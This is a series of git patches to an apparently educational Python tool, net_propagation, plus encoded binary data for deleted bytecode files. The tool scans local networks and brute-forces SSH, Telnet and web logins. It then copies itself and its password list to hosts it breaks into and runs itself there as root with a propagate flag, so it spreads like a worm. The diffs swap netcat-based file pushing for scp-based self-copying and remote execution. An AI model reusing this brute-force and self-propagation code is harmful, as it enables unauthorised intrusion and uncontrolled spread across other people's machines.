zDKBwSTDptE%b=n)5|*fh^kV@epL5|Af>DP`#0gx~{;3Qu_Z*KGA!H6E1B@#q&N*hT zey!D$+y`cUhh{dhl*C#aYsS$7CD4<|9Wf{ZtvKjfM!7(2k??%-k-jgEq`qg6Ys4Ql zAXyJpBJ+IEE7FF@bx@YJP)!~h-dErbL72FH%7NPx=~E(y+gOx==KKP-lW@Gbh}Kqx9LV@mVui{K2H(%7?MSPm*nh^ zF=%331R|RDm6q22N6TpcEv|9xm)eB(RGZX(p=GuI((>AWXj9t1Yctx37kmv)-OQGxnc^1*R zG$d)$Il+)1h!zs43cmDhK|*uzkqfqgU6CR%l-8xPFqN9)B%F}x*kv3xxY80)SkZFZ z#Eaxh#9Y>2Zg9SeE~P-L7RecHSJbKz02~j8KJ}6H(PMQ4n}e=3%pfqWhs1Y_74jTJ zftoG$gu+kOqhjLXUO)RtpT&r6F4p7tIp*uZj1UR@FwF4$Gf)uK3(kx~K<^F+H_EDK zaaKc;LPgMjsw~57-YcKT3DS3@YRF)&hTMwqmwoN4Dq*nm&>y=!2j9^UR+EA_>v<^5 z^)pn@h6M3PJt{3Sn3EwW$1ul;L#ft_M+#3rPV9_kFIz#-_1Bh{$x_Fe40;uQDQLAU zvN=oLR(B|6IYgYSf+5q<`TiV556UG=OWoHWLUqjGJcd}p09JmgNO6AB`; zX6%B05*B)S9JrDl=2v*r*rEjcB}B10;HEZ55)~^_o$w;itIdTZ&G{J=={! zwYgDhMAM~ev9?|^3e94<98H$KUEU_(7dHwh3a_JEZRoQ?WvA4PUfU>b7w^#yWret0 z-7YmY3dNGBKYLfjd8wdmtk+6Su{vO);C*qUwuAa{tzN1QZ#lQIgVJ|%yH<~0R&{dP zaS?@cTBp=#)Ed#5@>acuj=O+dC{pn{x`2}>6X=*?1>p%qFd)sLd;UQ1Lv<)Cq?(bWaEw%>d==wJn@fknc>Rw7t`)8np(h>cbS1}gp0tBPL?;)|U|$sl;~$o`Kpz`-A_ZDf~8C4&3oIQM=yOr6NehzMRpU&7@Q)>i0wkF>&oP7&Hg*oW**d;r>O z+f-Z`^M8U{M$2R~>0kdpo6bxP%$^kQnSq{(%wS8cgwBC6q8DFPoX)<2FD$0A)41~4 RQ@EzlH;uPT*_rA5{{r{#3@-ox diff --git a/src/__pycache__/test_net_propagation.cpython-310-pytest-6.2.5.pyc b/src/__pycache__/test_net_propagation.cpython-310-pytest-6.2.5.pyc deleted file mode 100644 index 866da9496aff2b5e4ad63e0ca60b97d289ee66f3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2432 zcmaJDU60#D(Caw1Nn!W<0a=v9r4~v&oj091TYF+aJNN zO-=h#GG~Vl%nbnk5g?)wlxQAOUwz!rHKdIVuZgA-(=(OC@+|eWJ-el~G@_HnH=5TX z25G|AA!uK7&A-5(wiik~8x{~PfLj3keLw^eeWaHfX_SZa!%LOVf)R-i&J8ii4qrzXFagnB(Cj4Mm)#SWqrF77@h(A+eka z5_l)Lc(_Io9710OZ)(=&7G)?7*lD8J*kk8k|R!DQJ>Xaojqj z2RO+_ak}T~)iO-^Im_~36v*hkwe$OMt*RBU(PT_h!7Dw^Dzsw_av%P`BJJfz)g>i3AMq>l-Y){OO#@ATHnLF%X!C{fg0(>uB0#fo0f=P)l`ubp zL?!}3rwD0Oh5{KxeSu_jtl2%$EZI*Un6*h1!kT^xF zaDZ-u#4I~SyXXM71d?vCRCIw}hE!XAq?aqj3jak|CpKvmD?><8IX~1-A<;$a#5vU- zYy4x7w+o1gJpigBsT7eWG3OeeOAXNg4JtJx1sbN(23mcM`rE9(=Bd<}t?|{|!?))= z*tLbTVDW5j@xwWbPHoWz3+wyNMXg*VHfa^BF#>u`EP+M0SUW{e(btGLhE}csGyn{M zCV&ZG0oVX70IAak=m0DMbjxMpKykJMXdT-B)~Cu$%2>wy2+}U0Y+l7ZydPzggy4r0 zE-;&<$`Oa8jz^Jz;$_)n6yY?(P$>rq9pi{XYU0D_2nR_53TIma$tagK4Sqlp2<2?v zFl6~oOZ^aJm`B+m$CG^4B*HA^Swi2&DpHQ20njHQ&1G$Jd>ALm)LjtQ%gPE+ePY6= z&49^9TOr3q&-LA17ajlp#+CeN!{vB)7hjP>^4l(VzN`tnizT%=n*ySq8o0bC&rKGy z>=Gg6JWfZx3eG8&r|T|vof5yLeDq-*cSg@0_FsDJOPBZW?fW0zxp&_w=ek=j?FRi> zAd;#h>Flgmcly{5Bdsk9xp?erc9_k4Inl(y|w2qGXqZ7TRWdjmBVO2AQCtmCR>Sj`9Dw2 zvu7vZS@oVO=SF@s?Pjc6^+QN2pV6F!&$+*%oz;H;Cep|i From bc09f967113e4707e1ca9960818f70ad70612ef7 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 18 Mar 2022 13:32:53 +0000 Subject: [PATCH 63/78] Renaming the workflow --- .circleci/config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 1c5b439..4d69049 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -41,7 +41,7 @@ jobs: # Invoke jobs via workflows # See: https://circleci.com/docs/2.0/configuration-reference/#workflows workflows: - sample: # This is the name of the workflow, feel free to change it to better match your workflow. + autocompliance-workflow: # This is the name of the workflow, feel free to change it to better match your workflow. # Inside the workflow, you define the jobs you want to run. jobs: - build-and-test From 002b4928cae7818dd94b6356755b0ad15c412736 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 18 Mar 2022 14:32:14 +0000 Subject: [PATCH 64/78] [UPDATE] Removed telnet functionality and all references to it --- requirements.txt | 2 +- src/net_propagation.py | 251 ++++++++--------------------------------- src/strings.py | 37 +++--- 3 files changed, 65 insertions(+), 225 deletions(-) diff --git a/requirements.txt b/requirements.txt index 2761738..7ee4799 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,7 +1,7 @@ scapy>=2.4.5 ipykernel paramiko -scapy>=2.4.5 pytest requests>=2.27.0 coverage +pyinstaller diff --git a/src/net_propagation.py b/src/net_propagation.py index 8fec87b..da97d2f 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -10,7 +10,6 @@ from scapy.layers.inet import IP, TCP from scapy.sendrecv import sr from scapy.utils import subprocess, os -from telnetlib import Telnet from time import sleep import logging import requests @@ -19,7 +18,6 @@ """ - Importing paramiko modules for SSH connection and exception handling. - Importing modules from scapy for Packet Crafting and Sending / Sniffing. - - Importing telnetlib for telnet operations. - Importing sleep to allow network processes time to complete. - Importing from paramiko for ssh operations. - Importing logging to safely log sensitive, error or debug info. @@ -137,59 +135,6 @@ def check_over_ssh(ip, port, username, password): return True -def check_over_telnet(ip, port, username, password): - """ - This function checks if the current script is already located at the - target machine over telnet. If it is then false is returned and if not then - true is returned. This is needed as a prerequisite to propagating over - telnet - :param ip: The IP address target for Telnet - :param port: The port on which we're running Telnet - :param username: The username to target over Telnet - :param password: Password to use with Telnet - :return True: If the file doesn't exist on the target host or there's a - problem with Telnet (assuming file isn't present essentially) - :return False: If the file does exist - """ - try: - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(username) + strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(password) + strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - data = tel.read_until(strings.WELCOME_TO.encode(strings.ENCODE_ASCII), - timeout=4) - if check_telnet_data(strings.WELCOME_TO, data): - tel.write(strings.cat_file(os.path.basename(__file__) + - strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - data = tel.read_until(strings.MAIN.encode(strings.ENCODE_ASCII), - timeout=4) - if data.__contains__(strings.MAIN.encode(strings.ENCODE_ASCII)): - return False - return True - return False - - except RuntimeError: - return False - - -def check_telnet_data(string_to_check, data): - """ - This function checks data gathered from the telnet service for a specific - string and returns True if it finds it and false if it doesn't - :param string_to_check: The string to find in the Telnet data - :param data: The telnet data itself - :return True: The string was found in the telnet data - :return False: The string was not found in the telnet data - """ - if data.__contains__(string_to_check.encode(strings.ENCODE_ASCII)): - return True - return False - - def checking_arguments(arguments): """ This function checks if the arguments are appropriately given and if @@ -251,52 +196,16 @@ def connect_ssh_client(ip, port, username, password): return False -def connect_telnet(ip, port, username, password): - """ - This function checks to see if a telnet connection can be established and - if so then it returns true, if not then it returns false - :param ip: The target IP address for Telnet - :param port: The target port for Telnet - :param username: The target username for Telnet - :param password: The target password for Telnet - :return True: If the Telnet connect is successful - :return False: If the Telnet connect is unsuccessful - """ - try: - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(username) + strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(password) + strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - - data = tel.read_until(strings.WELCOME_TO.encode(strings.ENCODE_ASCII), - timeout=4) - logging.info(strings.connection_status(strings.TELNET, ip, port, - strings.SUCCESSFUL)) - if check_telnet_data(strings.WELCOME_TO, data): - return True - logging.debug(strings.connection_status(strings.TELNET, ip, port, - strings.UNSUCCESSFUL)) - return False - - except RuntimeError: - logging.debug(strings.connection_status(strings.TELNET, ip, port, - strings.UNSUCCESSFUL)) - return False - - def connect_web(ip, port, username, password): """ This function check to see if a web login can be established and if so then it returns true, if not then it returns false :param ip: The target IP address for web login :param port: The target port for web login - :param username: The target username for Telnet - :param password: The target password for Telnet - :return True: If the Telnet connect is successful - :return False: If the Telnet connect is unsuccessful + :param username: The target username for web login + :param password: The target password for web login + :return True: If the web login is successful + :return False: If the web login connect is unsuccessful """ attempt_succeeded = False try: @@ -366,10 +275,9 @@ def file_not_exist(ip, port, username, password): :param password: Password being used as part of checking the file :return check_over_ssh(ip, port, username, password): """ - if str(port) == strings.SSH_PORT: - return check_over_ssh(ip, port, username, password) - - return check_over_telnet(ip, port, username, password) + # TODO: Find other means for checking a file does not exist (used to use + # telnet here) + return check_over_ssh(ip, port, username, password) def gathering_local_ips(ip_list): @@ -426,11 +334,10 @@ def propagate_script(ip, port, login_string): """ This function is responsible for propagating the network_attack.py to a previously bruteforce machine. It will only run when the user specifies - using the appropriate argument and when the port being bruteforce is - either 22 (SSH) and 23 (telnet), it will also check to ensure the script - isn't already present on the target. It goes about propagating the script - in different ways depending on if an SSH port or a telnet port is - specified + using the appropriate argument and when the port being bruteforce is 22 + (SSH), it will also check to ensure the script isn't already present on + the target. It goes about propagating the script in different ways + depending on if an SSH port is specified :param ip: The IP address we wish to propagate the script to :param port: The port through which we'll propagate the script :param login_string: This string contains the username and password for the @@ -442,59 +349,35 @@ def propagate_script(ip, port, login_string): try: if file_not_exist(ip, port, login_string_split[0], login_string_split[1]): - if str(port) == strings.SSH_PORT: - # TODO: Need feedback from the end user, should be worked into - # the UI itself. Not a dedicated print statement. - print(strings.RSA_AND_PROMPT) - os.system(strings.scp_command_string(port, - login_string_split[0], - ip, - os.path - .basename(__file__))) - print(strings.RSA_PROMPT_AGAIN) - os.system(strings.scp_command_string(port, - login_string_split[0], - ip, - strings.PWDS_LIST)) - client = SSHClient() - try: - client.set_missing_host_key_policy(RejectPolicy) - client.connect(hostname=str(ip), port=int(port), - username=str(login_string_split[0]), - password=str(login_string_split[1])) - client.exec_command(strings.run_script_command( - os.path.basename(__file__), login_string_split[0])) - client.close() - return True - - except RuntimeError: - client.close() - return False - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(login_string_split[0]) + strings - .RETURN_OR_NEWLINE).encode( - strings.ENCODE_ASCII)) - tel.read_until(strings.PASSWORD_PROMPT.encode( - strings.ENCODE_ASCII)) - tel.write((str(login_string_split[1]) + - strings.RETURN_OR_NEWLINE).encode(strings.ENCODE_ASCII)) - tel.write((strings.netcat_listener(port, - os.path.basename(__file__))) - .encode(strings.ENCODE_ASCII)) - os.system((strings.netcat_writer(ip, port, - os.path.basename(__file__))) - .encode(strings.ENCODE_ASCII)) - tel.write((strings.netcat_listener(port, - strings.PWDS_LIST)) - .encode(strings.ENCODE_ASCII)) - os.system((strings.netcat_writer(ip, port, - strings.PWDS_LIST)) - .encode(strings.ENCODE_ASCII)) - tel.write((strings.run_script_command(os.path.basename(__file__), - login_string_split[0])) - .encode(strings.ENCODE_ASCII)) - return True + # TODO: Need feedback from the end user, should be worked into + # the UI itself. Not a dedicated print statement. + # TODO: Find other means for propagating a script, used to have + # telnet here too but now it's just SSH) + print(strings.RSA_AND_PROMPT) + os.system(strings.scp_command_string(port, + login_string_split[0], + ip, + os.path + .basename(__file__))) + print(strings.RSA_PROMPT_AGAIN) + os.system(strings.scp_command_string(port, + login_string_split[0], + ip, + strings.PWDS_LIST)) + client = SSHClient() + try: + client.set_missing_host_key_policy(RejectPolicy) + client.connect(hostname=str(ip), port=int(port), + username=str(login_string_split[0]), + password=str(login_string_split[1])) + client.exec_command(strings.run_script_command( + os.path.basename(__file__), login_string_split[0])) + client.close() + return True + + except RuntimeError: + client.close() + return False else: logging.debug(strings.file_present_on_host(ip)) return False @@ -584,30 +467,12 @@ def sign_in_service(ip, port, username, password_list): return None -def telnet_connection(ip, port, username, password): - """ - This function will try to establish a telnet connection, if it does it will - return the successful telnet login string and if not then it will return a - null value - :param ip: The target IP address for the telnet connection - :param port: The target port for the telnet connection - :param username: The target username for the telnet connection - :param password: The target password for the telnet connection - :return str(username) + strings.COLON + str(password): The successful login - string - :return None: If the telnet connection is unsuccessful - """ - if connect_telnet(ip, port, username, password): - return str(username) + strings.COLON + str(password) - return None - - def transfer_file(ip, port, login_string, transfer_file_filename): """ This function will transfer a given file if the end user has provided the appropriate argument, and only when bruteforce login details are found for either tenet or SSH. It handles the transfer of this file differently - depending on whether the port value given is an SSH port or a telnet port + depending on whether the port value given is an SSH port :param ip: The IP address to which the file should be transferred :param port: The port over which the file should be transferred :param login_string: The username and password needed for the transfer of @@ -618,24 +483,12 @@ def transfer_file(ip, port, login_string, transfer_file_filename): """ login_string_split = login_string.split(strings.COLON) try: - if str(port) == strings.SSH_PORT: - print(strings.RSA_AND_PROMPT) - os.system(strings.scp_command_string(port, login_string_split[0], - ip, transfer_file_filename)) - return True - - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until(strings.LOGIN_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(login_string_split[0]) + - strings.RETURN_OR_NEWLINE).encode(strings.ENCODE_ASCII)) - tel.read_until(strings.PASSWORD_PROMPT.encode(strings.ENCODE_ASCII)) - tel.write((str(login_string_split[1]) + strings.RETURN_OR_NEWLINE) - .encode(strings.ENCODE_ASCII)) - tel.write((strings.netcat_listener(port, transfer_file_filename) + - "\n").encode(strings.ENCODE_ASCII)) - os.system((strings.netcat_writer(ip, port, transfer_file_filename) + - "\n").encode(strings.ENCODE_ASCII)) + print(strings.RSA_AND_PROMPT) + os.system(strings.scp_command_string(port, login_string_split[0], + ip, transfer_file_filename)) return True + # TODO: Find other means for transferring a file, used to have + # telnet here too but now it's just SSH) except ConnectionRefusedError: return False @@ -685,7 +538,6 @@ def try_sign_in(ip, port, target_username, password_list): """ service_switch = { strings.SSH_PORT: strings.SSH_LOWERCASE, - strings.TELNET_PORT: strings.TELNET, strings.WEB_PORT_EIGHTY: strings.WEB_LOGIN, strings.WEB_PORT_EIGHTY_EIGHTY: strings.WEB_LOGIN, strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT: strings.WEB_LOGIN @@ -717,8 +569,6 @@ def try_password_for_service(ip, port, username, password): connect_service_switch = { strings.SSH_PORT: lambda: connect_ssh_client(ip, port, username, password), - strings.TELNET_PORT: lambda: connect_telnet(ip, port, username, - password), strings.WEB_PORT_EIGHTY: lambda: connect_web(ip, port, username, password), strings.WEB_PORT_EIGHTY_EIGHTY: lambda: connect_web(ip, port, @@ -749,8 +599,7 @@ def try_propagating(arguments, ip, port, bruteforce): :param port: The port we're propagating through :param bruteforce: The username and password string combo """ - if strings.ARGUMENT_PROPAGATE in arguments and (port == strings.SSH_PORT - or strings.TELNET_PORT): + if strings.ARGUMENT_PROPAGATE in arguments and (port == strings.SSH_PORT): propagated = propagate_script(ip, port, bruteforce) if propagated: logging.info(strings.SCRIPT_PROPAGATED) @@ -776,13 +625,13 @@ def try_transferring_file(arguments, ip, port, bruteforce, :param transfer_file_filename: The filename of the file we wish to transfer """ if strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE in arguments and \ - (str(port) == strings.SSH_PORT or strings.TELNET_PORT): + (str(port) == strings.SSH_PORT): transferred = transfer_file(ip, port, bruteforce, transfer_file_filename) if transferred: - logging.info(strings.TRANSFER_SUCCESS_SSH_TELNET) + logging.info(strings.TRANSFER_SUCCESS_SSH) else: - logging.debug(strings.TRANSFER_FAILURE_SSH_TELNET) + logging.debug(strings.TRANSFER_FAILURE_SSH) else: logging.info(strings.DO_NOT_TRANSFER) diff --git a/src/strings.py b/src/strings.py index 6377679..9990cdc 100644 --- a/src/strings.py +++ b/src/strings.py @@ -111,7 +111,7 @@ " proident, sunt", "in culpa qui officia deserunt mollit anim id" " est laborum."] -# The login prompt a user usually sees with SSH/Telnet. +# The login prompt a user usually sees with SSH. LOGIN_PROMPT = "login:" # The typical ID of the loopback interface. @@ -123,7 +123,7 @@ # Just the numerical form of the number one, again, memory preservation. ONE = "1" -# Password prompt for SSH/Telnet. +# Password prompt for SSH. PASSWORD_PROMPT = "Password:" # Password prompt for web logins, rather the post ID really. @@ -177,9 +177,6 @@ # Just an SSH strings, memory saving measures again. SSH = "SSH" -# SSH and Telnet port specification -SSH_AND_TELNET_PORTS = "22,23" - # Same as above just lowercase, needed in some instances. SSH_LOWERCASE = "ssh" @@ -192,19 +189,13 @@ # The syn flag for packet crafting in Scapy SYN_FLAG = "S" -# Telnet string for service definitions and actions. -TELNET = "telnet" - -# The default port for the telnet service. -TELNET_PORT = "23" -# Letting the user know a file couldn't be transferred over telnet or SSH -# default ports. -TRANSFER_FAILURE_SSH_TELNET = "File couldn't be transferred over port 22 or 23" +# Letting the user know a file couldn't be transferred over SSH default port. +TRANSFER_FAILURE_SSH = "File couldn't be transferred over port 22 / SSH" -# Letting the user know a file could be transferred over telnet or SSH -# default ports. -TRANSFER_SUCCESS_SSH_TELNET = "File transferred over port 22 or 23" +# Letting the user know a file could be transferred over port 22 / SSH default +# ports. +TRANSFER_SUCCESS_SSH = "File transferred over port 22 / SSH" # Unsuccessful statement to be used with services and actions. UNSUCCESSFUL = "Unsuccessful" @@ -264,8 +255,8 @@ def arguments_sets(selection): 2: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST, ARGUMENT_SPECIFIC_PROPAGATION_FILE, FILE], - # This is running the automated propagation feature over SSH and Telnet - 3: [ARGUMENT_SCAN_LOCAL_NETWORKS, ARGUMENT_PORTS, SSH_AND_TELNET_PORTS, + # This is running the automated propagation feature over SSH. + 3: [ARGUMENT_SCAN_LOCAL_NETWORKS, ARGUMENT_PORTS, SSH_PORT, ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST, ARGUMENT_PROPAGATE] } @@ -378,9 +369,9 @@ def ip_reachability(ip, reachable): def netcat_listener(port, filename): """ - This function will create a netcat listener on the device we have a telnet + This function will create a netcat listener on the device we have a netcat link to - :param port: The port on which the telnet listener will operate + :param port: The port on which the netcat listener will operate :param filename: The filename of the file we're moving using the listener parameter :return "nc -l -p " + str(port) + " > " + filename: The string in question @@ -391,9 +382,9 @@ def netcat_listener(port, filename): def netcat_writer(ip, port, filename): """ This function will create a netcat writer to write a file to a device we - have a telnet link to - :param ip: Machine with the telnet listener we are writing to - :param port: The port on which the telnet writer will operate + have a netcat link to + :param ip: Machine with the netcat listener we are writing to + :param port: The port on which the netcat writer will operate :param filename: The filename of the file we're moving using the writer parameter :return "nc -w 3 " + str(ip) + " " + str(port) + " < " + filename: The From d8c5b400e29590685d24fc5bf4e2752cfe2bc988 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 18 Mar 2022 14:35:14 +0000 Subject: [PATCH 65/78] [FIX] Missed Telnet related string attribute, removed now --- src/test_net_propagation.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 58c4085..8d51bdf 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -28,8 +28,7 @@ def test_additional_actions(): ip = strings.BLANK_IP username = strings.RANDOM_STRING transfer_file_filename = strings.RANDOM_STRING - ports = [strings.SSH_PORT, strings.TELNET_PORT, - strings.WEB_PORT_EIGHTY, + ports = [strings.SSH_PORT, strings.WEB_PORT_EIGHTY, strings.WEB_PORT_EIGHTY_EIGHTY, strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT] for port in ports: From d9b55abb434ba83dac900f95e4004412d61c564e Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Fri, 18 Mar 2022 14:52:47 +0000 Subject: [PATCH 66/78] [UPDATE] Removed reference to the main method --- src/net_propagation.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index da97d2f..83a655f 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -23,13 +23,10 @@ - Importing logging to safely log sensitive, error or debug info. - Importing requests for web based operations. - Importing strings for use of the external strings resources. -""" -""" ===PLEASE READ=== -Functions and methods are organised alphabetically with the exception of the -main method specified last. Every function has a block comment explaining what -it does. +Functions and methods are organised alphabetically (or rather should be). +Every function has a block comment explaining what it does. """ From e6839b8fab11b29eec5a8fc7a25cffb861d6fc6f Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sat, 19 Mar 2022 11:54:08 +0000 Subject: [PATCH 67/78] [SECURITY FIX] Removed user given username as part of SSH execution Trying to avoid doing string sanitation, prevention is better than cure :) --- requirements.txt | 4 ++-- src/net_propagation.py | 12 ++++++++---- src/strings.py | 12 +++++++----- 3 files changed, 17 insertions(+), 11 deletions(-) diff --git a/requirements.txt b/requirements.txt index 7ee4799..b2be968 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,7 +1,7 @@ -scapy>=2.4.5 +scapy ipykernel paramiko pytest -requests>=2.27.0 +requests coverage pyinstaller diff --git a/src/net_propagation.py b/src/net_propagation.py index 83a655f..f1771ca 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -367,10 +367,14 @@ def propagate_script(ip, port, login_string): client.connect(hostname=str(ip), port=int(port), username=str(login_string_split[0]), password=str(login_string_split[1])) - client.exec_command(strings.run_script_command( - os.path.basename(__file__), login_string_split[0])) - client.close() - return True + if os.path.basename(__file__) == strings.NET_PROPAGATION: + client.exec_command(strings.run_script_command( + os.path.basename(__file__))) + client.close() + return True + else: + client.close() + return False except RuntimeError: client.close() diff --git a/src/strings.py b/src/strings.py index 9990cdc..50c0863 100644 --- a/src/strings.py +++ b/src/strings.py @@ -120,6 +120,9 @@ # The main function call. MAIN = "main()" +# The name of the net propagation script. +NET_PROPAGATION = "net_propagation.py" + # Just the numerical form of the number one, again, memory preservation. ONE = "1" @@ -421,17 +424,16 @@ def help_output(): ARGUMENT_PWS_FILENAME + " " + PWDS_LIST -def run_script_command(filename, username): +def run_script_command(filename): """ This function will run the propagation script on another target machine over any service :param filename: The file that holds the propagation script - :param username: The username to run against the propagation script as a - parameter - :return "net_attack.py -L -p 22,23 -u " + username + " -f passwords.txt + :return "net_propagation.py -L -p 22,23 -u " + username + " -f + passwords.txt -P": The command itself """ - return filename + " -L -p 22,23 -u " + username + " -f passwords.txt -P" + return filename + " -L -p 22,23 -u " + ROOT + " -f passwords.txt -P" def web_login_url(ip, port): From 459ebcf30dba305ff3738d3008b6b7aad365ab85 Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sat, 19 Mar 2022 12:00:05 +0000 Subject: [PATCH 68/78] [FIX] Removed Unnecessary else statements per CodeFactor review --- src/net_propagation.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/src/net_propagation.py b/src/net_propagation.py index f1771ca..9b64480 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -372,9 +372,8 @@ def propagate_script(ip, port, login_string): os.path.basename(__file__))) client.close() return True - else: - client.close() - return False + client.close() + return False except RuntimeError: client.close() @@ -440,10 +439,9 @@ def send_post_request_with_login(ip, port, username, password): logging.info(strings.connection_status(strings.WEB, ip, port, strings.SUCCESSFUL)) return str(username) + strings.COLON + str(password) - else: - logging.debug(strings.connection_status(strings.WEB, ip, port, - strings.UNSUCCESSFUL)) - return None + logging.debug(strings.connection_status(strings.WEB, ip, port, + strings.UNSUCCESSFUL)) + return None def sign_in_service(ip, port, username, password_list): @@ -548,8 +546,7 @@ def try_sign_in(ip, port, target_username, password_list): if sign_in_details: logging.info(strings.working_username_password(service)) return str(sign_in_details), service - else: - logging.debug(strings.IMPOSSIBLE_ACTION) + logging.debug(strings.IMPOSSIBLE_ACTION) return None, service From 8adf302737712d85805fc727d64fc3f0617470fa Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Sat, 19 Mar 2022 13:26:58 +0000 Subject: [PATCH 69/78] [FIX] More fixes based on CodeFactor Scan, ex; TODOs now issues --- src/main.py | 20 ++++++-------------- src/net_propagation.py | 37 ++++++++++--------------------------- src/strings.py | 11 ----------- src/test_net_propagation.py | 17 +++-------------- 4 files changed, 19 insertions(+), 66 deletions(-) diff --git a/src/main.py b/src/main.py index 95cc4be..f5db456 100755 --- a/src/main.py +++ b/src/main.py @@ -1,20 +1,13 @@ #!/usr/bin/python3 + +# Importing logging to safely log sensitive, error or debug info. import logging +# Importing net_propagation for propagating across the network. import net_propagation +# Importing strings for use of the external strings resources. import strings +# Importing sys to make OS calls and use OS level utilities. import sys -# TODO: Make sure comments are accurate. -""" - - Importing logging to safely log sensitive, error or debug info. - - Importing net_propagation for propagating across the network. - - Importing strings for use of the external strings resources. - - Importing sys to make OS calls and use OS level utilities. -""" - -""" -===PLEASE READ=== -This main function itself has more specific, low level commenting. -""" def main(): @@ -82,8 +75,7 @@ def main(): sys.exit(-1) # Removing duplicate entries in the IP address list, can come from # combining local scan with given IP addresses in an ip address file for - # example. - # TODO: Find a way to fix the duplicates issue, instead of this workaround. + # example. This would be a user error, we're just handling that. ip_list = list(dict.fromkeys(ip_list)) # Removing IPs from the IP list that can't be pinged from the host machine # of the script. diff --git a/src/net_propagation.py b/src/net_propagation.py index 9b64480..1547e0b 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -1,34 +1,24 @@ #!/usr/bin/python3 -# TODO: Make sure comments are accurate. -# from scapy.all import * -# For use when adding new functionality with scapy, be sure to statically -# import when finished, wildcard is just for convenience. + +# Importing paramiko modules for SSH connection and exception handling. from paramiko import SSHClient, RejectPolicy from paramiko.ssh_exception import NoValidConnectionsError, SSHException +# Importing modules from scapy for Packet Crafting and Sending / Sniffing. from scapy.all import get_if_addr from scapy.interfaces import get_if_list from scapy.layers.inet import IP, TCP from scapy.sendrecv import sr from scapy.utils import subprocess, os +# from scapy.all import * +# Importing sleep to allow network processes time to complete. from time import sleep +# Importing logging to safely log sensitive, error or debug info. import logging +# Importing requests for web based operations. import requests +# Importing strings for use of the external strings resources. import strings -""" - - Importing paramiko modules for SSH connection and exception handling. - - Importing modules from scapy for Packet Crafting and Sending / Sniffing. - - Importing sleep to allow network processes time to complete. - - Importing from paramiko for ssh operations. - - Importing logging to safely log sensitive, error or debug info. - - Importing requests for web based operations. - - Importing strings for use of the external strings resources. - -===PLEASE READ=== -Functions and methods are organised alphabetically (or rather should be). -Every function has a block comment explaining what it does. -""" - def additional_actions(arguments, ip, port, username, transfer_file_filename): @@ -272,8 +262,6 @@ def file_not_exist(ip, port, username, password): :param password: Password being used as part of checking the file :return check_over_ssh(ip, port, username, password): """ - # TODO: Find other means for checking a file does not exist (used to use - # telnet here) return check_over_ssh(ip, port, username, password) @@ -286,8 +274,9 @@ def gathering_local_ips(ip_list): """ logging.info(strings.FETCHING_LOCAL_INTERFACE_LIST) local_interfaces = get_if_list() + if strings.LOOPBACK in local_interfaces: + local_interfaces = local_interfaces.remove(strings.LOOPBACK) for interface in local_interfaces: - # TODO: Maybe remove the loopback interface before running for loop? if str(interface) != strings.LOOPBACK: logging.info(strings.fetching_ips_for_interface(interface)) ip_list.extend(cycle_through_subnet(ip_list, interface)) @@ -346,10 +335,6 @@ def propagate_script(ip, port, login_string): try: if file_not_exist(ip, port, login_string_split[0], login_string_split[1]): - # TODO: Need feedback from the end user, should be worked into - # the UI itself. Not a dedicated print statement. - # TODO: Find other means for propagating a script, used to have - # telnet here too but now it's just SSH) print(strings.RSA_AND_PROMPT) os.system(strings.scp_command_string(port, login_string_split[0], @@ -486,8 +471,6 @@ def transfer_file(ip, port, login_string, transfer_file_filename): os.system(strings.scp_command_string(port, login_string_split[0], ip, transfer_file_filename)) return True - # TODO: 